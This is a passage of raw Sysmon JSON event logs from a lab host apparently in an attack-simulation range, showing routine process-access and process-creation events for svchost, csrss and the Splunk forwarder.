C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+10038|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.298","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+10038|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4187,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.298\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+b81f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.298","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+b81f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4188,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.736\r\nProcessGuid: {90617006-4101-5F2D-0000-001027E20500}\r\nProcessId: 4180\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.736","ProcessGuid":"{90617006-4101-5F2D-0000-001027E20500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4189,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4101-5F2D-0000-001027E20500}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4101-5F2D-0000-001027E20500}","TargetProcessId":"4180","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4190,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4101-5F2D-0000-001027E20500}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4101-5F2D-0000-001027E20500}","TargetProcessId":"4180","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4191,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4192,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4193,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4194,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 